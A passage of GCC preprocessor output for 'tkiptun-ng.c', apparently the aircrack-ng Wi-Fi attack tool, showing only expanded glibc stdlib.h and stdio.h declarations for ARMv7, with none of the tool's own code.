__leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1))) __attribute__ ((__warn_unused_result__)); > > > > > >__extension__ extern long long int atoll (__const char *__nptr) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1))) __attribute__ ((__warn_unused_result__)); > > > > > >extern double strtod (__const char *__restrict __nptr, > char **__restrict __endptr) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) __attribute__ ((__warn_unused_result__)); > > > > > >extern float strtof (__const char *__restrict __nptr, > char **__restrict __endptr) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) __attribute__ ((__warn_unused_result__)); > >extern long double strtold (__const char *__restrict __nptr, > char **__restrict __endptr) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) __attribute__ ((__warn_unused_result__)); > > > > > >extern long int strtol (__const char *__restrict __nptr, > char **__restrict __endptr, int __base) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) __attribute__ ((__warn_unused_result__)); > >extern unsigned long int strtoul (__const char *__restrict __nptr, > char **__restrict __endptr, int __base) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) __attribute__ ((__warn_unused_result__)); > > > > >__extension__ >extern long long int strtoq (__const char *__restrict __nptr, > char **__restrict __endptr, int __base) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) __attribute__ ((__warn_unused_result__)); > >__extension__ >extern unsigned long long int strtouq (__const char *__restrict __nptr, > char **__restrict __endptr, int __base) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) __attribute__ ((__warn_unused_result__)); > > > > > >__extension__ >extern long long int strtoll (__const char *__restrict __nptr, > char **__restrict __endptr, int __base) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) __attribute__ ((__warn_unused_result__)); > >__extension__ >extern unsigned long long int strtoull (__const char *__restrict __nptr, > char **__restrict __endptr, int __base) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) __attribute__ ((__warn_unused_result__)); > ># 277 "/usr/include/stdlib.h" 3 4 > >extern __inline double >__attribute__ ((__nothrow__ , __leaf__)) atof (__const char *__nptr) >{ > return strtod (__nptr, (char **) ((void *)0)); >} >extern __inline int >__attribute__ ((__nothrow__ , __leaf__)) atoi (__const char *__nptr) >{ > return (int) strtol (__nptr, (char **) ((void *)0), 10); >} >extern __inline long int >__attribute__ ((__nothrow__ , __leaf__)) atol (__const char *__nptr) >{ > return strtol (__nptr, (char **) ((void *)0), 10); >} > > > > >__extension__ extern __inline long long int >__attribute__ ((__nothrow__ , __leaf__)) atoll (__const char *__nptr) >{ > return strtoll (__nptr, (char **) ((void *)0), 10); >} > ># 311 "/usr/include/stdlib.h" 3 4 >extern char *l64a (long int __n) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__warn_unused_result__)); > > >extern long int a64l (__const char *__s) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1))) __attribute__ ((__warn_unused_result__)); ># 327 "/usr/include/stdlib.h" 3 4 >extern long int random (void) __attribute__ ((__nothrow__ , __leaf__)); > > >extern void srandom (unsigned int __seed) __attribute__ ((__nothrow__ , __leaf__)); > > > > > >extern char *initstate (unsigned int __seed, char *__statebuf, > size_t __statelen) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2))); > > > >extern char *setstate (char *__statebuf) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))); > > > > > > > >struct random_data > { > int32_t *fptr; > int32_t *rptr; > int32_t *state; > int rand_type; > int rand_deg; > int rand_sep; > int32_t *end_ptr; > }; > >extern int random_r (struct random_data *__restrict __buf, > int32_t *__restrict __result) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2))); > >extern int srandom_r (unsigned int __seed, struct random_data *__buf) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2))); > >extern int initstate_r (unsigned int __seed, char *__restrict __statebuf, > size_t __statelen, > struct random_data *__restrict __buf) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2, 4))); > >extern int setstate_r (char *__restrict __statebuf, > struct random_data *__restrict __buf) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2))); > > > > > > >extern int rand (void) __attribute__ ((__nothrow__ , __leaf__)); > >extern void srand (unsigned int __seed) __attribute__ ((__nothrow__ , __leaf__)); > > > > >extern int rand_r (unsigned int *__seed) __attribute__ ((__nothrow__ , __leaf__)); > > > > > > > >extern double drand48 (void) __attribute__ ((__nothrow__ , __leaf__)); >extern double erand48 (unsigned short int __xsubi[3]) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))); > > >extern long int lrand48 (void) __attribute__ ((__nothrow__ , __leaf__)); >extern long int nrand48 (unsigned short int __xsubi[3]) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))); > > >extern long int mrand48 (void) __attribute__ ((__nothrow__ , __leaf__)); >extern long int jrand48 (unsigned short int __xsubi[3]) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))); > > >extern void srand48 (long int __seedval) __attribute__ ((__nothrow__ , __leaf__)); >extern unsigned short int *seed48 (unsigned short int __seed16v[3]) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))); >extern void lcong48 (unsigned short int __param[7]) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))); > > > > > >struct drand48_data > { > unsigned short int __x[3]; > unsigned short int __old_x[3]; > unsigned short int __c; > unsigned short int __init; > unsigned long long int __a; > }; > > >extern int drand48_r (struct drand48_data *__restrict __buffer, > double *__restrict __result) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2))); >extern int erand48_r (unsigned short int __xsubi[3], > struct drand48_data *__restrict __buffer, > double *__restrict __result) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2))); > > >extern int lrand48_r (struct drand48_data *__restrict __buffer, > long int *__restrict __result) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2))); >extern int nrand48_r (unsigned short int __xsubi[3], > struct drand48_data *__restrict __buffer, > long int *__restrict __result) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2))); > > >extern int mrand48_r (struct drand48_data *__restrict __buffer, > long int *__restrict __result) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2))); >extern int jrand48_r (unsigned short int __xsubi[3], > struct drand48_data *__restrict __buffer, > long int *__restrict __result) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2))); > > >extern int srand48_r (long int __seedval, struct drand48_data *__buffer) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2))); > >extern int seed48_r (unsigned short int __seed16v[3], > struct drand48_data *__buffer) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2))); > >extern int lcong48_r (unsigned short int __param[7], > struct drand48_data *__buffer) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2))); ># 479 "/usr/include/stdlib.h" 3 4 > > > > > > >extern void *realloc (void *__ptr, size_t __size) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__warn_unused_result__)); > >extern void free (void *__ptr) __attribute__ ((__nothrow__ , __leaf__)); > > > > >extern void cfree (void *__ptr) __attribute__ ((__nothrow__ , __leaf__)); > > > ># 1 "/usr/include/alloca.h" 1 3 4 ># 25 "/usr/include/alloca.h" 3 4 ># 1 "/usr/lib/gcc/armv7a-hardfloat-linux-gnueabi/4.7.3/include/stddef.h" 1 3 4 ># 26 "/usr/include/alloca.h" 2 3 4 > > > > > > > >extern void *alloca (size_t __size) __attribute__ ((__nothrow__ , __leaf__)); > > > > > > ># 498 "/usr/include/stdlib.h" 2 3 4 > > > > > >extern void *valloc (size_t __size) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__malloc__)) __attribute__ ((__warn_unused_result__)); > > > > >extern int posix_memalign (void **__memptr, size_t __alignment, size_t __size) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) __attribute__ ((__warn_unused_result__)); > > > > >extern void abort (void) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__noreturn__)); > > > >extern int atexit (void (*__func) (void)) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))); ># 531 "/usr/include/stdlib.h" 3 4 > > > > > >extern int on_exit (void (*__func) (int __status, void *__arg), void *__arg) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))); > > > > > > >extern void exit (int __status) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__noreturn__)); ># 554 "/usr/include/stdlib.h" 3 4 > > > > > > >extern void _Exit (int __status) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__noreturn__)); > > > > > > >extern char *getenv (__const char *__name) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) __attribute__ ((__warn_unused_result__)); > > > > >extern char *__secure_getenv (__const char *__name) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) __attribute__ ((__warn_unused_result__)); > > > > > >extern int putenv (char *__string) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))); > > > > > >extern int setenv (__const char *__name, __const char *__value, int __replace) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2))); > > >extern int unsetenv (__const char *__name) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))); > > > > > > >extern int clearenv (void) __attribute__ ((__nothrow__ , __leaf__)); ># 606 "/usr/include/stdlib.h" 3 4 >extern char *mktemp (char *__template) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) __attribute__ ((__warn_unused_result__)); ># 623 "/usr/include/stdlib.h" 3 4 >extern int mkstemp (char *__template) __asm__ ("" "mkstemp64") > __attribute__ ((__nonnull__ (1))) __attribute__ ((__warn_unused_result__)); ># 645 "/usr/include/stdlib.h" 3 4 >extern int mkstemps (char *__template, int __suffixlen) __asm__ ("" "mkstemps64") > __attribute__ ((__nonnull__ (1))) __attribute__ ((__warn_unused_result__)); ># 663 "/usr/include/stdlib.h" 3 4 >extern char *mkdtemp (char *__template) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) __attribute__ ((__warn_unused_result__)); ># 712 "/usr/include/stdlib.h" 3 4 > > > > > >extern int system (__const char *__command) __attribute__ ((__warn_unused_result__)); > ># 734 "/usr/include/stdlib.h" 3 4 >extern char *realpath (__const char *__restrict __name, > char *__restrict __resolved) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__warn_unused_result__)); > > > > > > >typedef int (*__compar_fn_t) (__const void *, __const void *); ># 752 "/usr/include/stdlib.h" 3 4 > > > >extern void *bsearch (__const void *__key, __const void *__base, > size_t __nmemb, size_t __size, __compar_fn_t __compar) > __attribute__ ((__nonnull__ (1, 2, 5))) __attribute__ ((__warn_unused_result__)); > > > >extern void qsort (void *__base, size_t __nmemb, size_t __size, > __compar_fn_t __compar) __attribute__ ((__nonnull__ (1, 4))); ># 771 "/usr/include/stdlib.h" 3 4 >extern int abs (int __x) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)) __attribute__ ((__warn_unused_result__)); >extern long int labs (long int __x) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)) __attribute__ ((__warn_unused_result__)); > > > >__extension__ extern long long int llabs (long long int __x) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)) __attribute__ ((__warn_unused_result__)); > > > > > > > >extern div_t div (int __numer, int __denom) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)) __attribute__ ((__warn_unused_result__)); >extern ldiv_t ldiv (long int __numer, long int __denom) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)) __attribute__ ((__warn_unused_result__)); > > > > >__extension__ extern lldiv_t lldiv (long long int __numer, > long long int __denom) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)) __attribute__ ((__warn_unused_result__)); > ># 808 "/usr/include/stdlib.h" 3 4 >extern char *ecvt (double __value, int __ndigit, int *__restrict __decpt, > int *__restrict __sign) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (3, 4))) __attribute__ ((__warn_unused_result__)); > > > > >extern char *fcvt (double __value, int __ndigit, int *__restrict __decpt, > int *__restrict __sign) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (3, 4))) __attribute__ ((__warn_unused_result__)); > > > > >extern char *gcvt (double __value, int __ndigit, char *__buf) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (3))) __attribute__ ((__warn_unused_result__)); > > > > >extern char *qecvt (long double __value, int __ndigit, > int *__restrict __decpt, int *__restrict __sign) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (3, 4))) __attribute__ ((__warn_unused_result__)); >extern char *qfcvt (long double __value, int __ndigit, > int *__restrict __decpt, int *__restrict __sign) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (3, 4))) __attribute__ ((__warn_unused_result__)); >extern char *qgcvt (long double __value, int __ndigit, char *__buf) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (3))) __attribute__ ((__warn_unused_result__)); > > > > >extern int ecvt_r (double __value, int __ndigit, int *__restrict __decpt, > int *__restrict __sign, char *__restrict __buf, > size_t __len) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (3, 4, 5))); >extern int fcvt_r (double __value, int __ndigit, int *__restrict __decpt, > int *__restrict __sign, char *__restrict __buf, > size_t __len) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (3, 4, 5))); > >extern int qecvt_r (long double __value, int __ndigit, > int *__restrict __decpt, int *__restrict __sign, > char *__restrict __buf, size_t __len) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (3, 4, 5))); >extern int qfcvt_r (long double __value, int __ndigit, > int *__restrict __decpt, int *__restrict __sign, > char *__restrict __buf, size_t __len) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (3, 4, 5))); > > > > > > > >extern int mblen (__const char *__s, size_t __n) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__warn_unused_result__)); > > >extern int mbtowc (wchar_t *__restrict __pwc, > __const char *__restrict __s, size_t __n) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__warn_unused_result__)); > > >extern int wctomb (char *__s, wchar_t __wchar) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__warn_unused_result__)); > > > >extern size_t mbstowcs (wchar_t *__restrict __pwcs, > __const char *__restrict __s, size_t __n) __attribute__ ((__nothrow__ , __leaf__)); > >extern size_t wcstombs (char *__restrict __s, > __const wchar_t *__restrict __pwcs, size_t __n) > __attribute__ ((__nothrow__ , __leaf__)); > > > > > > > > >extern int rpmatch (__const char *__response) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) __attribute__ ((__warn_unused_result__)); ># 896 "/usr/include/stdlib.h" 3 4 >extern int getsubopt (char **__restrict __optionp, > char *__const *__restrict __tokens, > char **__restrict __valuep) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2, 3))) __attribute__ ((__warn_unused_result__)); ># 948 "/usr/include/stdlib.h" 3 4 >extern int getloadavg (double __loadavg[], int __nelem) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))); > > > > > ># 1 "/usr/include/bits/stdlib.h" 1 3 4 ># 24 "/usr/include/bits/stdlib.h" 3 4 >extern char *__realpath_chk (__const char *__restrict __name, > char *__restrict __resolved, > size_t __resolvedlen) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__warn_unused_result__)); >extern char *__realpath_alias (__const char *__restrict __name, char *__restrict __resolved) __asm__ ("" "realpath") __attribute__ ((__nothrow__ , __leaf__)) > > __attribute__ ((__warn_unused_result__)); >extern char *__realpath_chk_warn (__const char *__restrict __name, char *__restrict __resolved, size_t __resolvedlen) __asm__ ("" "__realpath_chk") __attribute__ ((__nothrow__ , __leaf__)) > > > __attribute__ ((__warn_unused_result__)) > __attribute__((__warning__ ("second argument of realpath must be either NULL or at " "least PATH_MAX bytes long buffer"))) > ; > >extern __inline __attribute__ ((__always_inline__)) __attribute__ ((__artificial__)) __attribute__ ((__warn_unused_result__)) char * >__attribute__ ((__nothrow__ , __leaf__)) realpath (__const char *__restrict __name, char *__restrict __resolved) >{ > if (__builtin_object_size (__resolved, 2 > 1) != (size_t) -1) > { > > > > > return __realpath_chk (__name, __resolved, __builtin_object_size (__resolved, 2 > 1)); > } > > return __realpath_alias (__name, __resolved); >} > > >extern int __ptsname_r_chk (int __fd, char *__buf, size_t __buflen, > size_t __nreal) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2))); >extern int __ptsname_r_alias (int __fd, char *__buf, size_t __buflen) __asm__ ("" "ptsname_r") __attribute__ ((__nothrow__ , __leaf__)) > > __attribute__ ((__nonnull__ (2))); >extern int __ptsname_r_chk_warn (int __fd, char *__buf, size_t __buflen, size_t __nreal) __asm__ ("" "__ptsname_r_chk") __attribute__ ((__nothrow__ , __leaf__)) > > > __attribute__ ((__nonnull__ (2))) __attribute__((__warning__ ("ptsname_r called with buflen bigger than " "size of buf"))) > ; > >extern __inline __attribute__ ((__always_inline__)) __attribute__ ((__artificial__)) int >__attribute__ ((__nothrow__ , __leaf__)) ptsname_r (int __fd, char *__buf, size_t __buflen) >{ > if (__builtin_object_size (__buf, 2 > 1) != (size_t) -1) > { > if (!__builtin_constant_p (__buflen)) > return __ptsname_r_chk (__fd, __buf, __buflen, __builtin_object_size (__buf, 2 > 1)); > if (__buflen > __builtin_object_size (__buf, 2 > 1)) > return __ptsname_r_chk_warn (__fd, __buf, __buflen, __builtin_object_size (__buf, 2 > 1)); > } > return __ptsname_r_alias (__fd, __buf, __buflen); >} > > >extern int __wctomb_chk (char *__s, wchar_t __wchar, size_t __buflen) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__warn_unused_result__)); >extern int __wctomb_alias (char *__s, wchar_t __wchar) __asm__ ("" "wctomb") __attribute__ ((__nothrow__ , __leaf__)) > __attribute__ ((__warn_unused_result__)); > >extern __inline __attribute__ ((__always_inline__)) __attribute__ ((__artificial__)) __attribute__ ((__warn_unused_result__)) int >__attribute__ ((__nothrow__ , __leaf__)) wctomb (char *__s, wchar_t __wchar) >{ > > > > > > > > if (__builtin_object_size (__s, 2 > 1) != (size_t) -1 && 16 > __builtin_object_size (__s, 2 > 1)) > return __wctomb_chk (__s, __wchar, __builtin_object_size (__s, 2 > 1)); > return __wctomb_alias (__s, __wchar); >} > > >extern size_t __mbstowcs_chk (wchar_t *__restrict __dst, > __const char *__restrict __src, > size_t __len, size_t __dstlen) __attribute__ ((__nothrow__ , __leaf__)); >extern size_t __mbstowcs_alias (wchar_t *__restrict __dst, __const char *__restrict __src, size_t __len) __asm__ ("" "mbstowcs") __attribute__ ((__nothrow__ , __leaf__)) > > > ; >extern size_t __mbstowcs_chk_warn (wchar_t *__restrict __dst, __const char *__restrict __src, size_t __len, size_t __dstlen) __asm__ ("" "__mbstowcs_chk") __attribute__ ((__nothrow__ , __leaf__)) > > > > __attribute__((__warning__ ("mbstowcs called with dst buffer smaller than len " "* sizeof (wchar_t)"))) > ; > >extern __inline __attribute__ ((__always_inline__)) __attribute__ ((__artificial__)) size_t >__attribute__ ((__nothrow__ , __leaf__)) mbstowcs (wchar_t *__restrict __dst, __const char *__restrict __src, size_t __len) > >{ > if (__builtin_object_size (__dst, 2 > 1) != (size_t) -1) > { > if (!__builtin_constant_p (__len)) > return __mbstowcs_chk (__dst, __src, __len, > __builtin_object_size (__dst, 2 > 1) / sizeof (wchar_t)); > > if (__len > __builtin_object_size (__dst, 2 > 1) / sizeof (wchar_t)) > return __mbstowcs_chk_warn (__dst, __src, __len, > __builtin_object_size (__dst, 2 > 1) / sizeof (wchar_t)); > } > return __mbstowcs_alias (__dst, __src, __len); >} > > >extern size_t __wcstombs_chk (char *__restrict __dst, > __const wchar_t *__restrict __src, > size_t __len, size_t __dstlen) __attribute__ ((__nothrow__ , __leaf__)); >extern size_t __wcstombs_alias (char *__restrict __dst, __const wchar_t *__restrict __src, size_t __len) __asm__ ("" "wcstombs") __attribute__ ((__nothrow__ , __leaf__)) > > > ; >extern size_t __wcstombs_chk_warn (char *__restrict __dst, __const wchar_t *__restrict __src, size_t __len, size_t __dstlen) __asm__ ("" "__wcstombs_chk") __attribute__ ((__nothrow__ , __leaf__)) > > > > __attribute__((__warning__ ("wcstombs called with dst buffer smaller than len"))); > >extern __inline __attribute__ ((__always_inline__)) __attribute__ ((__artificial__)) size_t >__attribute__ ((__nothrow__ , __leaf__)) wcstombs (char *__restrict __dst, __const wchar_t *__restrict __src, size_t __len) > >{ > if (__builtin_object_size (__dst, 2 > 1) != (size_t) -1) > { > if (!__builtin_constant_p (__len)) > return __wcstombs_chk (__dst, __src, __len, __builtin_object_size (__dst, 2 > 1)); > if (__len > __builtin_object_size (__dst, 2 > 1)) > return __wcstombs_chk_warn (__dst, __src, __len, __builtin_object_size (__dst, 2 > 1)); > } > return __wcstombs_alias (__dst, __src, __len); >} ># 956 "/usr/include/stdlib.h" 2 3 4 ># 964 "/usr/include/stdlib.h" 3 4 > ># 54 "tkiptun-ng.c" 2 ># 1 "/usr/include/stdio.h" 1 3 4 ># 30 "/usr/include/stdio.h" 3 4 > > > > ># 1 "/usr/lib/gcc/armv7a-hardfloat-linux-gnueabi/4.7.3/include/stddef.h" 1 3 4 ># 35 "/usr/include/stdio.h" 2 3 4 ># 45 "/usr/include/stdio.h" 3 4 >struct _IO_FILE; > > > >typedef struct _IO_FILE FILE; > > > > > ># 65 "/usr/include/stdio.h" 3 4 >typedef struct _IO_FILE __FILE; ># 75 "/usr/include/stdio.h" 3 4 ># 1 "/usr/include/libio.h" 1 3 4 ># 32 "/usr/include/libio.h" 3 4 ># 1 "/usr/include/_G_config.h" 1 3 4 ># 15 "/usr/include/_G_config.h" 3 4 ># 1 "/usr/lib/gcc/armv7a-hardfloat-linux-gnueabi/4.7.3/include/stddef.h" 1 3 4 ># 16 "/usr/include/_G_config.h" 2 3 4 > > > > ># 1 "/usr/include/wchar.h" 1 3 4 ># 83 "/usr/include/wchar.h" 3 4 >typedef struct >{ > int __count; > union > { > > unsigned int __wch; > > > > char __wchb[4]; > } __value; >} __mbstate_t; ># 21 "/usr/include/_G_config.h" 2 3 4 > >typedef struct >{ > __off_t __pos; > __mbstate_t __state; >} _G_fpos_t; >typedef struct >{ > __off64_t __pos; > __mbstate_t __state; >} _G_fpos64_t; ># 53 "/usr/include/_G_config.h" 3 4 >typedef int _G_int16_t __attribute__ ((__mode__ (__HI__))); >typedef int _G_int32_t __attribute__ ((__mode__ (__SI__))); >typedef unsigned int _G_uint16_t __attribute__ ((__mode__ (__HI__))); >typedef unsigned int _G_uint32_t __attribute__ ((__mode__ (__SI__))); ># 33 "/usr/include/libio.h" 2 3 4 ># 53 "/usr/include/libio.h" 3 4 ># 1 "/usr/lib/gcc/armv7a-hardfloat-linux-gnueabi/4.7.3/include/stdarg.h" 1 3 4 ># 40 "/usr/lib/gcc/armv7a-hardfloat-linux-gnueabi/4.7.3/include/stdarg.h" 3 4 >typedef __builtin_va_list __gnuc_va_list; ># 54 "/usr/include/libio.h" 2 3 4 ># 172 "/usr/include/libio.h" 3 4 >struct _IO_jump_t; struct _IO_FILE; ># 182 "/usr/include/libio.h" 3 4 >typedef void _IO_lock_t; > > > > > >struct _IO_marker { > struct _IO_marker *_next; > struct _IO_FILE *_sbuf; > > > > int _pos; ># 205 "/usr/include/libio.h" 3 4 >}; > > >enum __codecvt_result >{ > __codecvt_ok, > __codecvt_partial, > __codecvt_error, > __codecvt_noconv >}; ># 273 "/usr/include/libio.h" 3 4 >struct _IO_FILE { > int _flags; > > > > > char* _IO_read_ptr; > char* _IO_read_end; > char* _IO_read_base; > char* _IO_write_base; > char* _IO_write_ptr; > char* _IO_write_end; > char* _IO_buf_base; > char* _IO_buf_end; > > char *_IO_save_base; > char *_IO_backup_base; > char *_IO_save_end; > > struct _IO_marker *_markers; > > struct _IO_FILE *_chain; > > int _fileno; > > > > int _flags2; > > __off_t _old_offset; > > > > unsigned short _cur_column; > signed char _vtable_offset; > char _shortbuf[1]; > > > > _IO_lock_t *_lock; ># 321 "/usr/include/libio.h" 3 4 > __off64_t _offset; ># 330 "/usr/include/libio.h" 3 4 > void *__pad1; > void *__pad2; > void *__pad3; > void *__pad4; > size_t __pad5; > > int _mode; > > char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)]; > >}; > > >typedef struct _IO_FILE _IO_FILE; > > >struct _IO_FILE_plus; > >extern struct _IO_FILE_plus _IO_2_1_stdin_; >extern struct _IO_FILE_plus _IO_2_1_stdout_; >extern struct _IO_FILE_plus _IO_2_1_stderr_; ># 366 "/usr/include/libio.h" 3 4 >typedef __ssize_t __io_read_fn (void *__cookie, char *__buf, size_t __nbytes); > > > > > > > >typedef __ssize_t __io_write_fn (void *__cookie, __const char *__buf, > size_t __n); > > > > > > > >typedef int __io_seek_fn (void *__cookie, __off64_t *__pos, int __w); > > >typedef int __io_close_fn (void *__cookie); ># 418 "/usr/include/libio.h" 3 4 >extern int __underflow (_IO_FILE *); >extern int __uflow (_IO_FILE *); >extern int __overflow (_IO_FILE *, int); ># 462 "/usr/include/libio.h" 3 4 >extern int _IO_getc (_IO_FILE *__fp); >extern int _IO_putc (int __c, _IO_FILE *__fp); >extern int _IO_feof (_IO_FILE *__fp) __attribute__ ((__nothrow__ , __leaf__)); >extern int _IO_ferror (_IO_FILE *__fp) __attribute__ ((__nothrow__ , __leaf__)); > >extern int _IO_peekc_locked (_IO_FILE *__fp); > > > > > >extern void _IO_flockfile (_IO_FILE *) __attribute__ ((__nothrow__ , __leaf__)); >extern void _IO_funlockfile (_IO_FILE *) __attribute__ ((__nothrow__ , __leaf__)); >extern int _IO_ftrylockfile (_IO_FILE *) __attribute__ ((__nothrow__ , __leaf__)); ># 492 "/usr/include/libio.h" 3 4 >extern int _IO_vfscanf (_IO_FILE * __restrict, const char * __restrict, > __gnuc_va_list, int *__restrict); >extern int _IO_vfprintf (_IO_FILE *__restrict, const char *__restrict, > __gnuc_va_list); >extern __ssize_t _IO_padn (_IO_FILE *, int, __ssize_t); >extern size_t _IO_sgetn (_IO_FILE *, void *, size_t); > >extern __off64_t _IO_seekoff (_IO_FILE *, __off64_t, int, int); >extern __off64_t _IO_seekpos (_IO_FILE *, __off64_t, int); > >extern void _IO_free_backup_area (_IO_FILE *) __attribute__ ((__nothrow__ , __leaf__)); ># 76 "/usr/include/stdio.h" 2 3 4 > > > > >typedef __gnuc_va_list va_list; ># 109 "/usr/include/stdio.h" 3 4 > > > > >typedef _G_fpos64_t fpos_t; > > ># 165 "/usr/include/stdio.h" 3 4 ># 1 "/usr/include/bits/stdio_lim.h" 1 3 4 ># 166 "/usr/include/stdio.h" 2 3 4 > > > >extern struct _IO_FILE *stdin; >extern struct _IO_FILE *stdout; >extern struct _IO_FILE *stderr; > > > > > > > >extern int remove (__const char *__filename) __attribute__ ((__nothrow__ , __leaf__)); > >extern int rename (__const char *__old, __const char *__new) __attribute__ ((__nothrow__ , __leaf__)); > > > > >extern int renameat (int __oldfd, __const char *__old, int __newfd, > __const char *__new) __attribute__ ((__nothrow__ , __leaf__)); > > > ># 199 "/usr/include/stdio.h" 3 4 >extern FILE *tmpfile (void) __asm__ ("" "tmpfile64") __attribute__ ((__warn_unused_result__)); ># 210 "/usr/include/stdio.h" 3 4 >extern char *tmpnam (char *__s) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__warn_unused_result__)); > > > > > >extern char *tmpnam_r (char *__s) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__warn_unused_result__)); ># 228 "/usr/include/stdio.h" 3 4 >extern char *tempnam (__const char *__dir, __const char *__pfx) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__malloc__)) __attribute__ ((__warn_unused_result__)); > > > > > > > > >extern int fclose (FILE *__stream); > > > > >extern int fflush (FILE *__stream); > ># 253 "/usr/include/stdio.h" 3 4 >extern int fflush_unlocked (FILE *__stream); ># 267 "/usr/include/stdio.h" 3 4 > ># 284 "/usr/include/stdio.h" 3 4 >extern FILE *fopen (__const char *__restrict __filename, __const char *__restrict __modes) __asm__ ("" "fopen64") > > __attribute__ ((__warn_unused_result__)); >extern FILE *freopen (__const char *__restrict __filename, __const char *__restrict __modes, FILE *__restrict __stream) __asm__ ("" "freopen64") > > > __attribute__ ((__warn_unused_result__)); > > > > > > ># 307 "/usr/include/stdio.h" 3 4 >extern FILE *fdopen (int __fd, __const char *__modes) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__warn_unused_result__)); ># 320 "/usr/include/stdio.h" 3 4 >extern FILE 